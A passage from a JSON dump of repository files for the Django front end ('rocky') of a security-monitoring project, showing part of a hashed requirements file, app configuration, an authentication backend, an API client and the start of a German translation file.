\\\n    --hash=sha256:3267f1eeea4251fb42728b6dfb746edc9acaffc4a45b27e19450b676586e8349 \\\n    --hash=sha256:ed64f2ba4eebeab06cc4962affce381647455978ffc1e36bb79a545b91f45a95\n    # via beautifulsoup4\nsqlparse==0.5.5 \\\n    --hash=sha256:12a08b3bf3eec877c519589833aed092e2444e68240a3577e8e26148acc7b1ba \\\n    --hash=sha256:e20d4a9b0b8585fdf63b10d30066c7c94c5d7a7ec47c889a2d83a3caa93ff28e\n    # via django\nstrenum==0.4.15 \\\n    --hash=sha256:878fb5ab705442070e4dd1929bb5e2249511c0bcf2b0eeacf3bcd80875c82eff \\\n    --hash=sha256:a30cda4af7cc6b5bf52c8055bc4bf4b2b6b14a93b574626da33df53cf7740659\n    # via rocky\nstructlog==25.5.0 \\\n    --hash=sha256:098522a3bebed9153d4570c6d0288abf80a031dfdb2048d59a49e9dc2190fc98 \\\n    --hash=sha256:a8453e9b9e636ec59bd9e79bbd4a72f025981b3ba0f5837aebf48f02f37a7f9f\n    # via\n    #   django-structlog\n    #   rocky\ntinycss2==1.5.1 \\\n    --hash=sha256:3415ba0f5839c062696996998176c4a3751d18b7edaaeeb658c9ce21ec150661 \\\n    --hash=sha256:d339d2b616ba90ccce58da8495a78f46e55d4d25f9fd71dfd526f07e7d53f957\n    # via\n    #   cssselect2\n    #   weasyprint\ntinyhtml5==2.1.0 \\\n    --hash=sha256:60a50ec3d938a37e491efa01af895853060943dcebb5627de5b10d188b338a67 \\\n    --hash=sha256:6e11cfff38515834268daf89d5f85bbde0b6dd02e8d9e212d1385c2289b89f0a\n    # via weasyprint\ntyping-extensions==4.15.0 \\\n    --hash=sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466 \\\n    --hash=sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548\n    # via\n    #   anyio\n    #   asgiref\n    #   beautifulsoup4\n    #   cron-descriptor\n    #   exceptiongroup\n    #   grpcio\n    #   opentelemetry-api\n    #   opentelemetry-exporter-otlp-proto-grpc\n    #   opentelemetry-sdk\n    #   opentelemetry-semantic-conventions\n    #   pydantic\n    #   pydantic-core\n    #   referencing\n    #   structlog\n    #   typing-inspection\ntyping-inspection==0.4.2 \\\n    --hash=sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7 \\\n    --hash=sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464\n    # via\n    #   pydantic\n    #   pydantic-settings\ntzdata==2026.1 ; sys_platform == 'win32' \\\n    --hash=sha256:4b1d2be7ac37ceafd7327b961aa3a54e467efbdb563a23655fbfe0d39cfc42a9 \\\n    --hash=sha256:67658a1903c75917309e753fdc349ac0efd8c27db7a0cb406a25be4840f87f98\n    # via django\nurllib3==2.6.3 \\\n    --hash=sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed \\\n    --hash=sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4\n    # via requests\nweasyprint==68.1 \\\n    --hash=sha256:4dc3ba63c68bbbce3e9617cb2226251c372f5ee90a8a484503b1c099da9cf5be \\\n    --hash=sha256:d3b752049b453a5c95edb27ce78d69e9319af5a34f257fa0f4c738c701b4184e\n    # via\n    #   django-weasyprint\n    #   rocky\nwebencodings==0.5.1 \\\n    --hash=sha256:a0af1213f3c2226497a97e2b3aa01a7e4bee4f403f95be16fc9acd2947514a78 \\\n    --hash=sha256:b36a1c245f2d304965eb4e0a82848379241dc04b865afcc4aab16748587e1923\n    # via\n    #   cssselect2\n    #   tinycss2\n    #   tinyhtml5\nwhitenoise==6.12.0 \\\n    --hash=sha256:f723ebb76a112e98816ff80fcea0a6c9b8ecde835f8ddda25df7a30a3c2db6ad \\\n    --hash=sha256:fc5e8c572e33ebf24795b47b6a7da8da3c00cff2349f5b04c02f28d0cc5a3cc2\n    # via rocky\nwrapt==1.17.3 \\\n    --hash=sha256:042ec3bb8f319c147b1301f2393bc19dba6e176b7da446853406d041c36c7828 \\\n    --hash=sha256:0610b46293c59a3adbae3dee552b648b984176f8562ee0dba099a56cfbe4df1f \\\n    --hash=sha256:0b02e424deef65c9f7326d8c19220a2c9040c51dc165cddb732f16198c168396 \\\n    --hash=sha256:0b1831115c97f0663cb77aa27d381237e73ad4f721391a9bfb2fe8bc25fa6e77 \\\n    --hash=sha256:0ed61b7c2d49cee3c027372df5809a59d60cf1b6c2f81ee980a091f3afed6a2d \\\n    --hash=sha256:16ecf15d6af39246fe33e507105d67e4b81d8f8d2c6598ff7e3ca1b8a37213f7 \\\n    --hash=sha256:1f0b2f40cf341ee8cc1a97d51ff50dddb9fcc73241b9143ec74b30fc4f44f6cb \\\n    --hash=sha256:223db574bb38637e8230eb14b185565023ab624474df94d2af18f1cdb625216f \\\n    --hash=sha256:249f88ed15503f6492a71f01442abddd73856a0032ae860de6d75ca62eed8067 \\\n    --hash=sha256:273a736c4645e63ac582c60a56b0acb529ef07f78e08dc6bfadf6a46b19c0da7 \\\n    --hash=sha256:281262213373b6d5e4bb4353bc36d1ba4084e6d6b5d242863721ef2bf2c2930b \\\n    --hash=sha256:33486899acd2d7d3066156b03465b949da3fd41a5da6e394ec49d271baefcf05 \\\n    --hash=sha256:343e44b2a8e60e06a7e0d29c1671a0d9951f59174f3709962b5143f60a2a98bd \\\n    --hash=sha256:373342dd05b1d07d752cecbec0c41817231f29f3a89aa8b8843f7b95992ed0c7 \\\n    --hash=sha256:3af60380ba0b7b5aeb329bc4e402acd25bd877e98b3727b0135cb5c2efdaefe9 \\\n    --hash=sha256:41b1d2bc74c2cac6f9074df52b2efbef2b30bdfe5f40cb78f8ca22963bc62977 \\\n    --hash=sha256:423ed5420ad5f5529db9ce89eac09c8a2f97da18eb1c870237e84c5a5c2d60aa \\\n    --hash=sha256:4da9f45279fff3543c371d5ababc57a0384f70be244de7759c85a7f989cb4ebe \\\n    --hash=sha256:507553480670cab08a800b9463bdb881b2edeed77dc677b0a5915e6106e91a58 \\\n    --hash=sha256:53e5e39ff71b3fc484df8a522c933ea2b7cdd0d5d15ae82e5b23fde87d44cbd8 \\\n    --hash=sha256:54a30837587c6ee3cd1a4d1c2ec5d24e77984d44e2f34547e2323ddb4e22eb77 \\\n    --hash=sha256:5531d911795e3f935a9c23eb1c8c03c211661a5060aab167065896bbf62a5f85 \\\n    --hash=sha256:5a03a38adec8066d5a37bea22f2ba6bbf39fcdefbe2d91419ab864c3fb515454 \\\n    --hash=sha256:5a7b3c1ee8265eb4c8f1b7d29943f195c00673f5ab60c192eba2d4a7eae5f46a \\\n    --hash=sha256:5d4478d72eb61c36e5b446e375bbc49ed002430d17cdec3cecb36993398e1a9e \\\n    --hash=sha256:5ea5eb3c0c071862997d6f3e02af1d055f381b1d25b286b9d6644b79db77657c \\\n    --hash=sha256:604d076c55e2fdd4c1c03d06dc1a31b95130010517b5019db15365ec4a405fc6 \\\n    --hash=sha256:6b538e31eca1a7ea4605e44f81a48aa24c4632a277431a6ed3f328835901f4fd \\\n    --hash=sha256:6fd1ad24dc235e4ab88cda009e19bf347aabb975e44fd5c2fb22a3f6e4141277 \\\n    --hash=sha256:7171ae35d2c33d326ac19dd8facb1e82e5fd04ef8c6c0e394d7af55a55051c22 \\\n    --hash=sha256:73d496de46cd2cdbdbcce4ae4bcdb4afb6a11234a1df9c085249d55166b95116 \\\n    --hash=sha256:7425ac3c54430f5fc5e7b6f41d41e704db073309acfc09305816bc6a0b26bb16 \\\n    --hash=sha256:74afa28374a3c3a11b3b5e5fca0ae03bef8450d6aa3ab3a1e2c30e3a75d023dc \\\n    --hash=sha256:79573c24a46ce11aab457b472efd8d125e5a51da2d1d24387666cd85f54c05b2 \\\n    --hash=sha256:88547535b787a6c9ce4086917b6e1d291aa8ed914fdd3a838b3539dc95c12804 \\\n    --hash=sha256:88bbae4d40d5a46142e70d58bf664a89b6b4befaea7b2ecc14e03cedb8e06c04 \\\n    --hash=sha256:8cccf4f81371f257440c88faed6b74f1053eef90807b77e31ca057b2db74edb1 \\\n    --hash=sha256:9baa544e6acc91130e926e8c802a17f3b16fbea0fd441b5a60f5cf2cc5c3deba \\\n    --hash=sha256:a36692b8491d30a8c75f1dfee65bef119d6f39ea84ee04d9f9311f83c5ad9390 \\\n    --hash=sha256:a47681378a0439215912ef542c45a783484d4dd82bac412b71e59cf9c0e1cea0 \\\n    --hash=sha256:ab232e7fdb44cdfbf55fc3afa31bcdb0d8980b9b95c38b6405df2acb672af0e0 \\\n    --hash=sha256:af338aa93554be859173c39c85243970dc6a289fa907402289eeae7543e1ae18 \\\n    --hash=sha256:afd964fd43b10c12213574db492cb8f73b2f0826c8df07a68288f8f19af2ebe6 \\\n    --hash=sha256:b32888aad8b6e68f83a8fdccbf3165f5469702a7544472bdf41f582970ed3311 \\\n    --hash=sha256:c31eebe420a9a5d2887b13000b043ff6ca27c452a9a22fa71f35f118e8d4bf89 \\\n    --hash=sha256:cf30f6e3c077c8e6a9a7809c94551203c8843e74ba0c960f4a98cd80d4665d39 \\\n    --hash=sha256:d40770d7c0fd5cbed9d84b2c3f2e156431a12c9a37dc6284060fb4bec0b7ffd4 \\\n    --hash=sha256:d8a210b158a34164de8bb68b0e7780041a903d7b00c87e906fb69928bf7890d5 \\\n    --hash=sha256:dc4a8d2b25efb6681ecacad42fca8859f88092d8732b170de6a5dddd80a1c8fa \\\n    --hash=sha256:e01375f275f010fcbf7f643b4279896d04e571889b8a5b3f848423d91bf07050 \\\n    --hash=sha256:e1a4120ae5705f673727d3253de3ed0e016f7cd78dc463db1b31e2463e1f3cf6 \\\n    --hash=sha256:e228514a06843cae89621384cfe3a80418f3c04aadf8a3b14e46a7be704e4235 \\\n    --hash=sha256:e405adefb53a435f01efa7ccdec012c016b5a1d3f35459990afc39b6be4d5056 \\\n    --hash=sha256:e6b13af258d6a9ad602d57d889f83b9d5543acd471eee12eb51f5b01f8eb1bc2 \\\n    --hash=sha256:e6f40a8aa5a92f150bdb3e1c44b7e98fb7113955b2e5394122fa5532fec4b418 \\\n    --hash=sha256:e71d5c6ebac14875668a1e90baf2ea0ef5b7ac7918355850c0908ae82bcb297c \\\n    --hash=sha256:ed7c635ae45cfbc1a7371f708727bf74690daedc49b4dba310590ca0bd28aa8a \\\n    --hash=sha256:f38e60678850c42461d4202739f9bf1e3a737c7ad283638251e79cc49effb6b6 \\\n    --hash=sha256:f66eb08feaa410fe4eebd17f2a2c8e2e46d3476e9f8c783daa8e09e0faa666d0 \\\n    --hash=sha256:f9b2601381be482f70e5d1051a5965c25fb3625455a2bf520b5a077b22afb775 \\\n    --hash=sha256:fbd3c8319de8e1dc79d346929cd71d523622da527cca14e0c1d257e31c2b8b10 \\\n    --hash=sha256:fd341868a4b6714a5962c1af0bd44f7c404ef78720c7de4892901e540417111c\n    # via\n    #   opentelemetry-instrumentation\n    #   opentelemetry-instrumentation-dbapi\n    #   opentelemetry-instrumentation-httpx\nzipp==3.23.1 \\\n    --hash=sha256:0b3596c50a5c700c9cb40ba8d86d9f2cc4807e9bedb06bcdf7fac85633e444dc \\\n    --hash=sha256:32120e378d32cd9714ad503c1d024619063ec28aad2248dc6672ad13edfa5110\n    # via importlib-metadata\nzopfli==0.4.1 \\\n    --hash=sha256:02086247dd12fda929f9bfe8b3962b6bcdbfc8c82e99255aebcf367867cf0760 \\\n    --hash=sha256:07a5cdc5d1aaa6c288c5d9f5a5383042ba743641abf8e2fd898dcad622d8a38e \\\n    --hash=sha256:27823dc1161a4031d1c25925fd45d9868ec0cbc7692341830a7dcfa25063662c \\\n    --hash=sha256:2f992ac7d83cbddd889e1813ace576cbc91a05d5d7a0a21b366e2e5f492e7707 \\\n    --hash=sha256:4238d4d746d1095e29c9125490985e0c12ffd3654f54a24af551e2391e936d54 \\\n    --hash=sha256:5a4c22b6161f47f5bd34637dbaee6735abd287cd64e0d1ce28ef1871bf625f4b \\\n    --hash=sha256:84a31ba9edc921b1d3a4449929394a993888f32d70de3a3617800c428a947b9b \\\n    --hash=sha256:a899eca405662a23ae75054affa3517a060362eae1185d3d791c86a50153c4dd \\\n    --hash=sha256:a93c2ecafff372de6c0aa2212eff18a75f6c71a100372fee7b4b129cc0b6f9a7 \\\n    --hash=sha256:cb136a74d14a4ecfae29cb0fdecece58a6c115abc9a74c12bc6ac62e80f229d7 \\\n    --hash=sha256:d7bcee1b189d64ec33d1e05cfa1b6a1268c29329c382f6ca1bd6245b04925c57 \\\n    --hash=sha256:fdfb7ce9f5de37a5b2f75dd2642fd7717956ef2a72e0387302a36d382440db07\n    # via fonttools\n"
  },
  {
    "path": "rocky/rocky/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/rocky/apps.py",
    "content": "from django.apps import AppConfig\n\n\nclass RockyConfig(AppConfig):\n    name = \"rocky\"\n\n    def ready(self):\n        # import the signals module to ensure that the signal handlers are connected\n        # and to avoid \"apps aren't loaded yet\" error from Django\n        from . import signals  # noqa: F401\n"
  },
  {
    "path": "rocky/rocky/asgi.py",
    "content": "\"\"\"\nASGI config for rocky project.\n\nIt exposes the ASGI callable as a module-level variable named ``application``.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/3.2/howto/deployment/asgi/\n\"\"\"\n\nimport os\n\nfrom django.core.asgi import get_asgi_application\n\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"rocky.settings\")\n\napplication = get_asgi_application()\n"
  },
  {
    "path": "rocky/rocky/auth/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/rocky/auth/remote_user.py",
    "content": "import structlog\nfrom django.conf import settings\nfrom django.contrib.auth.backends import RemoteUserBackend as BaseRemoteUserBackend\nfrom django.contrib.auth.models import Group\nfrom tools.models import Organization, OrganizationMember\n\nlogger = structlog.get_logger(__name__)\n\n\nclass RemoteUserBackend(BaseRemoteUserBackend):\n    \"\"\"\n    Custom RemoteUserBackend that adds users to default organizations and groups.\n    \"\"\"\n\n    def configure_user(self, request, user, created=True):\n        if settings.REMOTE_USER_DEFAULT_ORGANIZATIONS:\n            try:\n                user_orgs = [m.organization.code for m in user.organization_members if not m.blocked]\n                for item in settings.REMOTE_USER_DEFAULT_ORGANIZATIONS:\n                    organization_code, group_name = item.split(\":\")\n                    if organization_code not in user_orgs:\n                        logger.info(\"Adding user '%s' to organization '%s'\", user, organization_code)\n                        organization = Organization.objects.get(code=organization_code)\n                        member = OrganizationMember.objects.create(\n                            user=user,\n                            organization=organization,\n                            status=OrganizationMember.STATUSES.ACTIVE,\n                            blocked=False,\n                            trusted_clearance_level=4,\n                            acknowledged_clearance_level=0,\n                            onboarded=False,\n                        )\n                        member.groups.set([Group.objects.get(name=group_name)])\n            except Exception:\n                logger.exception(\"An error occurred while configuring user '%s'\", user)\n        return user\n"
  },
  {
    "path": "rocky/rocky/bytes_client.py",
    "content": "import json\nimport uuid\nfrom base64 import b64decode, b64encode\nfrom collections.abc import Generator, Sequence, Set\nfrom datetime import datetime, timezone\nfrom functools import cached_property\nfrom typing import Any\n\nimport httpx\nimport structlog\nfrom django.conf import settings\n\nfrom octopoes.api.models import Declaration\nfrom rocky.health import ServiceHealth\nfrom rocky.scheduler import Boefje, BoefjeMeta, Normalizer, NormalizerMeta, RawData\n\nlogger = structlog.get_logger(\"bytes_client\")\n\n\nclass NoAuth(httpx.Auth):\n    def auth_flow(self, request):\n        yield request\n\n\nclass TokenAuth(httpx.Auth):\n    def __init__(self, client: \"BytesClient\"):\n        self.client = client\n\n    def auth_flow(self, request: httpx.Request) -> Generator[httpx.Request, httpx.Response, None]:\n        # Attach token\n        request.headers[\"Authorization\"] = f\"bearer {self.client.token}\"\n\n        response = yield request\n\n        # If unauthorized, refresh token and retry once\n        if response.status_code in (401, 403):\n            logger.info(\"Bytes token expired or invalid, refreshing and retrying request\")\n            self.client._invalidate_token()\n\n            # Try to get a new token (may raise)\n            request.headers[\"Authorization\"] = f\"bearer {self.client.token}\"\n\n            yield request  # retry once\n\n\nclass BytesClient:\n    # More than 100 raw files per Boefje run is very unlikely at this stage, but eventually we can start paginating\n    RAW_FILES_LIMIT = 100\n\n    def __init__(self, base_url: str, username: str, password: str, organization: str | None):\n        self.credentials = {\"username\": username, \"password\": password}\n        self.session = httpx.Client(\n            base_url=base_url, timeout=settings.ROCKY_OUTGOING_REQUEST_TIMEOUT, auth=TokenAuth(self)\n        )\n        self.organization = organization\n\n    def health(self) -> ServiceHealth:\n        response = self.session.get(\"/health\")\n        response.raise_for_status()\n\n        return ServiceHealth.model_validate(response.json())\n\n    @staticmethod\n    def raw_from_declarations(declarations: list[Declaration]) -> bytes:\n        return json.dumps([d.model_dump(mode=\"json\") for d in declarations]).encode(\"utf-8\")\n\n    def add_manual_proof(\n        self, normalizer_id: uuid.UUID, raw: bytes, manual_mime_types: Set[str] = frozenset({\"manual/ooi\"})\n    ) -> None:\n        \"\"\"Per convention for a generic normalizer, we add a raw list of declarations, not a single declaration\"\"\"\n\n        boefje_meta = BoefjeMeta(\n            id=uuid.uuid4(),\n            boefje=Boefje(id=\"manual\"),\n            input_ooi=None,\n            arguments={},\n            organization=self.organization,\n            started_at=datetime.now(timezone.utc),\n            ended_at=datetime.now(timezone.utc),\n        )\n\n        self._save_boefje_meta(boefje_meta)\n        all_mime_types = {\"boefje/manual\"}.union(manual_mime_types)\n        raw_id = self._save_raw(boefje_meta.id, raw, all_mime_types)\n\n        self._save_normalizer_meta(\n            NormalizerMeta(\n                id=normalizer_id,\n                raw_data=RawData(\n                    id=uuid.UUID(raw_id),\n                    boefje_meta=boefje_meta,\n                    mime_types=[{\"value\": mime_type} for mime_type in all_mime_types],\n                ),\n                normalizer=Normalizer(id=\"normalizer/manual\"),\n                started_at=datetime.now(timezone.utc),\n                ended_at=datetime.now(timezone.utc),\n            )\n        )\n\n    def upload_raw(\n        self,\n        raw: bytes,\n        manual_mime_types: set[str],\n        input_ooi: str | None = None,\n        input_dict: dict | None = None,\n        valid_time: datetime | None = None,\n    ) -> str:\n        boefje_meta = BoefjeMeta(\n            id=uuid.uuid4(),\n            boefje=Boefje(id=\"manual\"),\n            input_ooi=input_ooi,\n            arguments={\"input\": input_dict} if input_dict else {},\n            organization=self.organization,\n            started_at=valid_time or datetime.now(timezone.utc),\n            ended_at=valid_time or datetime.now(timezone.utc),\n        )\n\n        self._save_boefje_meta(boefje_meta)\n        raw_id = self._save_raw(boefje_meta.id, raw, {\"boefje/manual\"}.union(manual_mime_types))\n\n        logger.info(\"Uploaded raw data\", raw_id=raw_id, organization=self.organization)\n\n        return raw_id\n\n    def _save_boefje_meta(self, boefje_meta: BoefjeMeta) -> None:\n        response = self.session.post(\n            \"/bytes/boefje_meta\", json=boefje_meta.model_dump(mode=\"json\"), headers={\"content-type\": \"application/json\"}\n        )\n        response.raise_for_status()\n\n    def _save_normalizer_meta(self, normalizer_meta: NormalizerMeta) -> None:\n        response = self.session.post(\n            \"/bytes/normalizer_meta\",\n            json=normalizer_meta.model_dump(mode=\"json\"),\n            headers={\"content-type\": \"application/json\"},\n        )\n\n        response.raise_for_status()\n\n    def _save_raw(self, boefje_meta_id: uuid.UUID, raw: bytes, mime_types: Set[str] = frozenset()) -> str:\n        file_name = \"raw\"  # The name provides a key for all ids returned, so this is arbitrary as we only upload 1 file\n\n        response = self.session.post(\n            \"/bytes/raw\",\n            json={\"files\": [{\"name\": file_name, \"content\": b64encode(raw).decode(), \"tags\": list(mime_types)}]},\n            params={\"boefje_meta_id\": str(boefje_meta_id)},\n        )\n\n        response.raise_for_status()\n\n        return response.json()[file_name]\n\n    def get_raw(self, raw_id: str) -> bytes:\n        # Note: we assume organization permissions are handled before requesting raw data.\n\n        response = self.session.get(f\"/bytes/raw/{raw_id}\")\n        response.raise_for_status()\n\n        return response.content\n\n    def get_raws(self, organization_code: str, raw_ids: list[uuid.UUID | str]) -> list[tuple[str, bytes]]:\n        params: dict[str, str | int | list[str]] = {\n            \"limit\": len(raw_ids),\n            \"organization\": organization_code,\n            \"raw_ids\": [str(raw_id) for raw_id in raw_ids],\n        }\n\n        response = self.session.get(\"/bytes/raws\", params=params)\n        response.raise_for_status()\n\n        return [(rawfile[\"name\"], b64decode(rawfile[\"content\"])) for rawfile in response.json().get(\"files\", [])]\n\n    def get_raws_all(self, raw_ids: list[str]) -> dict[str, dict[str, Any]]:\n        params: dict[str, str | int | list[str]] = {\"limit\": len(raw_ids), \"raw_ids\": raw_ids}\n\n        response = self.session.get(\"/bytes/raws\", params=params)\n        response.raise_for_status()\n        try:\n            return {\n                rawfile[\"name\"]: json.loads(b64decode(rawfile[\"content\"]).decode(\"utf-8\"))\n                for rawfile in response.json().get(\"files\", [])\n            }\n        except httpx.ReadTimeout:\n            return {}\n\n    def get_raw_metas(self, boefje_meta_id: uuid.UUID, organization_code: str) -> list:\n        # More than 100 raw files per Boefje run is very unlikely at this stage, but eventually we can start paginating\n\n        params: dict[str, str | int] = {\n            \"boefje_meta_id\": str(boefje_meta_id),\n            \"limit\": self.RAW_FILES_LIMIT,\n            \"organization\": str(self.organization),\n        }\n\n        response = self.session.get(\"/bytes/raw\", params=params)\n        response.raise_for_status()\n\n        metas = response.json()\n        metas = [raw_meta for raw_meta in metas if raw_meta[\"boefje_meta\"][\"organization\"] == organization_code]\n        if len(metas) >= self.RAW_FILES_LIMIT:\n            logger.warning(\"Reached raw file limit for current view.\")\n\n        return metas\n\n    def get_normalizer_meta(self, normalizer_meta_id: uuid.UUID) -> dict:\n        # Note: we assume organization permissions are handled before requesting raw data.\n\n        response = self.session.get(f\"/bytes/normalizer_meta/{normalizer_meta_id}\")\n        response.raise_for_status()\n\n        return response.json()\n\n    def get_normalizer_metas(self, normalizer_metas: Sequence[uuid.UUID | str]) -> dict:\n        # Note: we assume organization permissions are handled before requesting raw data.\n\n        params: dict[str, int | list[str]] = {\n            \"limit\": len(normalizer_metas),\n            \"normalizer_metas\": [str(normalizer_meta_id) for normalizer_meta_id in normalizer_metas],\n        }\n        response = self.session.get(\"/bytes/normalizer_metas\", params=params)\n        response.raise_for_status()\n\n        return response.json()\n\n    @cached_property\n    def token(self) -> str:\n        return self._get_token()\n\n    def _invalidate_token(self):\n        if \"token\" in self.__dict__:\n            del self.__dict__[\"token\"]\n\n    def _get_token(self) -> str:\n        # this request should not try to use the auth provider, as that would cause a loop\n        response = self.session.post(\n            \"/token\",\n            data=self.credentials,\n            headers={\"content-type\": \"application/x-www-form-urlencoded\"},\n            auth=NoAuth(),\n        )\n        response.raise_for_status()  # fail loudly on bad login\n        return response.json()[\"access_token\"]\n\n\ndef get_bytes_client(organization: str | None) -> BytesClient:\n    return BytesClient(settings.BYTES_API, settings.BYTES_USERNAME, settings.BYTES_PASSWORD, organization)\n"
  },
  {
    "path": "rocky/rocky/exceptions.py",
    "content": "from typing import Any\n\n\nclass RockyError(Exception):\n    pass\n\n\nclass IndemnificationNotPresentException(Exception):\n    pass\n\n\nclass ClearanceLevelTooLowException(Exception):\n    pass\n\n\nclass AcknowledgedClearanceLevelTooLowException(ClearanceLevelTooLowException):\n    pass\n\n\nclass TrustedClearanceLevelTooLowException(ClearanceLevelTooLowException):\n    pass\n\n\nclass ServiceException(RockyError):\n    \"\"\"Base exception representing an issue with an (external) service\"\"\"\n\n    def __init__(self, service_name: str, *args: Any):\n        super().__init__(*args)\n        self.service_name = service_name\n\n\nclass OctopoesException(ServiceException):\n    def __init__(self, *args: Any):\n        super().__init__(\"Octopoes\", *args)\n\n\nclass OctopoesDownException(OctopoesException):\n    pass\n\n\nclass OctopoesUnhealthyException(OctopoesException):\n    pass\n"
  },
  {
    "path": "rocky/rocky/forms.py",
    "content": "from django import forms\nfrom django.utils.translation import gettext_lazy as _\nfrom tools.forms.base import BaseRockyForm\n\n\nclass MemberFilterForm(BaseRockyForm):\n    status = forms.MultipleChoiceField(\n        label=_(\"Current status\"),\n        required=False,\n        widget=forms.CheckboxSelectMultiple,\n        choices=((\"active\", _(\"Active\")), (\"new\", _(\"New\"))),\n    )\n\n    blocked = forms.MultipleChoiceField(\n        label=_(\"Account status\"),\n        required=False,\n        widget=forms.CheckboxSelectMultiple,\n        choices=((True, _(\"Blocked\")), (False, _(\"Not blocked\"))),\n    )\n\n    def clean_status(self):\n        status = self.cleaned_data[\"status\"]\n        return status if status else [\"active\", \"new\"]\n\n    def clean_blocked(self):\n        blocked = self.cleaned_data[\"blocked\"]\n        return blocked if blocked else [True, False]\n"
  },
  {
    "path": "rocky/rocky/health.py",
    "content": "from typing import Any\n\nfrom pydantic import BaseModel, Field\n\n\nclass ServiceHealth(BaseModel):\n    service: str\n    healthy: bool = False\n    version: str | None = None\n    additional: Any = None\n    results: list[\"ServiceHealth\"] = Field(default_factory=list)\n\n\nServiceHealth.model_rebuild()\n"
  },
  {
    "path": "rocky/rocky/locale/de/LC_MESSAGES/django.po",
    "content": "# SOME DESCRIPTIVE TITLE.\n# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER\n# This file is distributed under the same license as the PACKAGE package.\n# alster <alsternerd@users.noreply.hosted.weblate.org>, 2024, 2025.\n# LibreTranslate <noreply-mt-libretranslate@weblate.org>, 2024, 2025.\n# Ettore Atalan <atalanttore@googlemail.com>, 2025.\n#: reports/forms.py\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: PACKAGE VERSION\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2025-08-20 07:38+0000\\n\"\n\"PO-Revision-Date: 2025-08-22 09:39+0000\\n\"\n\"Last-Translator: Ettore Atalan <atalanttore@googlemail.com>\\n\"\n\"Language-Team: German <https://hosted.weblate.org/projects/openkat/nl-kat-\"\n\"coordination/de/>\\n\"\n\"Language: de\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"Plural-Forms: nplurals=2; plural=n != 1;\\n\"\n\"X-Generator: Weblate 5.13\\n\"\n\n#: account/admin.py\nmsgid \"Permissions\"\nmsgstr \"Berechtigungen\"\n\n#: account/admin.py\nmsgid \"Important dates\"\nmsgstr \"Wichtige Daten\"\n\n#: account/forms/account_setup.py crisis_room/forms.py\n#: katalogus/templates/katalogus_settings.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/tls_report/report.html\n#: reports/templates/partials/report_names_form.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: tools/forms/boefje.py rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Name\"\nmsgstr \"Name\"\n\n#: account/forms/account_setup.py\nmsgid \"The name that will be used in order to communicate.\"\nmsgstr \"Der Name, der in der Kommunikation genutzt werden wird.\"\n\n#: account/forms/account_setup.py\nmsgid \"Please provide username\"\nmsgstr \"Bitte gib einen Benutzernamen an\"\n\n#: account/forms/account_setup.py\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Email\"\nmsgstr \"E-Mail\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter an email address.\"\nmsgstr \"Gib eine E-Mail-Adresse ein.\"\n\n#: account/forms/account_setup.py\nmsgid \"Password\"\nmsgstr \"Passwort\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose a super secret password\"\nmsgstr \"Wähle ein super geheimes Passwort\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another email.\"\nmsgstr \"Wähle eine andere E-Mail-Adresse.\"\n\n#: account/forms/account_setup.py tools/forms/settings.py\nmsgid \"--- Please select one of the available options ----\"\nmsgstr \"--- Bitte wähle eine der vorgegebenen Optionen ---\"\n\n#: account/forms/account_setup.py\nmsgid \"Account type\"\nmsgstr \"Kontotyp\"\n\n#: account/forms/account_setup.py\nmsgid \"Please select an account type to proceed.\"\nmsgstr \"Bitte wähle einen Account zum Fortfahren.\"\n\n#: account/forms/account_setup.py\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"Trusted clearance level\"\nmsgstr \"Vertrauenswürdige Freigabestufe\"\n\n#: account/forms/account_setup.py\nmsgid \"Select a clearance level you trust this member with.\"\nmsgstr \"Wählen Sie eine Freigabestufe, die Sie diesem Mitglied anvertrauen.\"\n\n#: account/forms/account_setup.py onboarding/forms.py tools/forms/ooi.py\nmsgid \"Please select a clearance level to proceed.\"\nmsgstr \"Bitte wählen Sie eine Freigabestufe, um fortzufahren.\"\n\n#: account/forms/account_setup.py tools/models.py\nmsgid \"The name of the organization.\"\nmsgstr \"Der Name der Ogranisation.\"\n\n#: account/forms/account_setup.py\nmsgid \"explanation-organization-name\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\n#, python-brace-format\nmsgid \"A unique code of maximum {code_length} characters in length.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"explanation-organization-code\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Organization name is required to proceed.\"\nmsgstr \"Zum Fortfahren wird der Name der Organisation benötigt.\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another organization.\"\nmsgstr \"Wähle eine andere Organisation.\"\n\n#: account/forms/account_setup.py\nmsgid \"Organization code is required to proceed.\"\nmsgstr \"Der Organisationscode ist erforderlich, um fortzufahren.\"\n\n#: 